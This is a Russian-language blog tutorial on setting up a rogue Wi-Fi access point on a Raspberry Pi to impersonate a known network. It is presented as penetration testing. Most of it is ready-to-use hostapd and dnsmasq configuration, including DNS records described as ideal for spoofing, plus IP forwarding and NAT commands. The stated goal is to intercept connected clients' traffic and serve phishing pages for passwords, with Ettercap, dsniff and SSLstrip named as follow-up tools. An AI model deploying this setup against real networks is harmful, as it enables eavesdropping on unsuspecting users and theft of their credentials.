Как создать поддельную точку доступа ROGUE AP

В данной статье мы поговорим про создание поддельной точки доступа. В рамках тестирования на проникновение возникает очень много вариантов использования поддельной точки доступа (Rogue AP, Fake AP) и они относятся в основном к реализации MitM атак посредством Fake AP.

Создаем открытую безпарольную точку доступа с названием копирующем известную сети или закрытую точку с таким же типом шифрования и паролем (предварительно перехваченным и расшифрованным с оригинальной точки доступа, как это сделать — рассказывается в статьях Взлом Wi-Fi с шифрованием WPA/WPA2 PSK и Reaver. Взлом Wi-Fi со включенным WPS) и далее ждем подключившихся клиентов. После чего каким либо способом, коих очень много, анализируем проходящий через нас трафик, либо выдаем какие-либо фишинговые сайты с запросом паролей.

Для создания нам потребуется Linux (я использовал Raspbian и микрокомпьютер Raspberry Pi для создания Rogue AP)

Для начала проверим, что наша карточка поддерживает режим точки доступа (AP), для этого посмотрим вывод утилиты iw:

iw list | grep "Supported interface modes" -A 8

в списке поддерживаемых режимов должно присутствовать AP.

Пример:

Supported interface modes:
* IBSS
* managed
* AP
* AP/VLAN
* WDS
* monitor
* mesh point

Установим hostapd — программная точка доступа:

apt-get install hostapd
И создадим конфигурацию демона hostapd:
в настройках демона укажем, где он должен брать конфигурацию, для этого откроем файл /etc/default/hostapd, найдем в нем строчку:
#DAEMON_CONF=""

раскомментируем ее и укажем где находится файл конфигурации (у нас это будет /etc/hostapd/hostapd.conf).

Пример:

DAEMON_CONF="/etc/hostapd/hostapd.conf"
теперь создадим конфигурацию точки доступа, для этого создадим файл настроек демона hostapd — /etc/hostapd/hostapd.conf
touch /etc/hostapd/hostapd.conf

и изменим его, прописав параметры нашей сети.

Для безпарольной точки доступа будет достаточно написать:

interface=wlan0
driver=nl80211
hw_mode=g
ssid=FreeWifi
channel=6

interface — интерфейс, на котором будет работать точка доступа;
driver — используемый драйвер (обычно nl80211);
ssidSSID имя точки доступа;
channel — канал, на котором будет работать точка доступа;
hw_mode — режим работы (a802.11a, b802.11b,g802.11g), g означает режим работы 802.11b/g.

Для точки доступа с шифрованием WPA2 конфигурация будет немного сложнее:

interface=wlan0
driver=nl80211
hw_mode=g
ssid=FreeWifi
channel=6
auth_algs=1
wpa=2
wpa_passphrase=1234abcd
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP

auth_algs — алгоритм аутентификации (1WPA2, 2WEP, 3 — любой);
wpa — тип шифрования WPA (1WPA, 2WPA2, 3WPA/WPA2);
wpa_passphrase — пароль точки доступа;
wpa_key_mgmt — алгоритм ключей шифрования (может быть WPA-PSKPreSharedKey или WPA-EAP — проверка по протоколу EAP внешним сервером);
wpa_pairwise и rsn_pairwise — какие шифры можно использовать для шифрования передаваемых данных (можно использовать CCMP, TKIP или любой, на выбор клиента).

так же можно использовать дополнительные параметры:

ap_isolate=1 — включить изоляцию клиентов;
bridge=имя_интерфеса — использовать мост.

Теперь нужно настроить получение адресов и маршрутизацию трафика.

Первым делом назначим IP-адрес Wi-Fi адаптеру. Для этого откроем файл /etc/network/interfaces и запишем в него конфигурацию сети для беспроводного адаптера wlan0:

allow-hotplug wlan0
iface wlan0 inet static
address 192.168.2.1
netmask 255.255.255.0

по аналогии настроим и сетевой адаптер, который будет смотреть в интернет (либо если адрес получается по DHCP, то настроим автоматическое получение адреса, как это сделать — описывается в статье Debian, Ubuntu, Raspbian. Базовая настройка IPv4 на сетевых Ethernet интерфейсах)

Далее настроим DNS и выдачу адресов по DHCP, в данном случае воспользуемся утилитой dnsmasq, которая умеет и то и то.

Установим dnsmasq:

apt-get install dnsmasq

откроем конфигурационный файл /etc/dnsmasq.conf и изменим (или добавим) в нем строки:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.2.10,192.168.2.60,1h
dhcp-option=1,255.255.255.0
dhcp-option=3,192.168.2.1
dhcp-option=6,192.168.2.1,8.8.8.8
domain=fakeAP.local
address=/fake.local/10.0.0.1

interface — интерфейс на котором будут работать DHCP и DNS;
dhcp-authoritative — указываем, что наш сервер главный в сети;
dhcp-range — диапазон адресов, параметры указываются через запятую (начало_диапазона,конец_диапазона,время_аренды_адреса);
dhcp-option — параметры DHCP, задаются через запятую в формате (номер_опции,значение,значение)
dhcp-option=1 — маска сети;
dhcp-option=3 — шлюз;
dhcp-option=6DNS сервера;
domain — префикс локального домена;
address — вручную назначаемые DNS записи, сначала проверяется данный список, а потом уже все остальные (идеально подходит для подмены адресов).

[ad name=»Responbl»]

Теперь разрешим пересылку пакетов (форвардинг):

echo "1" > /proc/sys/net/ipv4/ip_forward

Примечание: данный метод работает до перезагрузки. Как включить постоянную пересылку пакетов — рассказывается в статье Обход HTTPS с помощью SSLSTRIP.

И создадим NAT:

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Примечание: iptables так же сохраняет правила до перезагрузки, поэтому для автостарта их нужно отдельно сохранить и восстановить после перезагрузки, как это сделать — рассказывается в статье Обход HTTPS с помощью SSLSTRIP.

перезапускаем сервисы dnsmasq и hostapd:

service dnsmasq restart
service hostapd restart

ждем подключившихся клиентов.

Список выданных адресов можно посмотреть командой:

cat /var/log/syslog | grep DHCPACK
Точка доступа готова, теперь остается только запустить какой-либо анализатор трафика, например Ettercap, dsniff, либо что-то посложнее, например расшифровку SSL трафика с помощью SSLstrip (SSLstrip — один из способов обхода HTTPS). Так же можно дополнительно установить Web-сервер и настроить на него нужные DNS записи для фишинга.
При написании статьи, использовались материалы сайта http://blackdiver.net/it/linux/4093
Click to rate this post!
[Total: 12 Average: 3.1]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Leave a reply:

Your email address will not be published.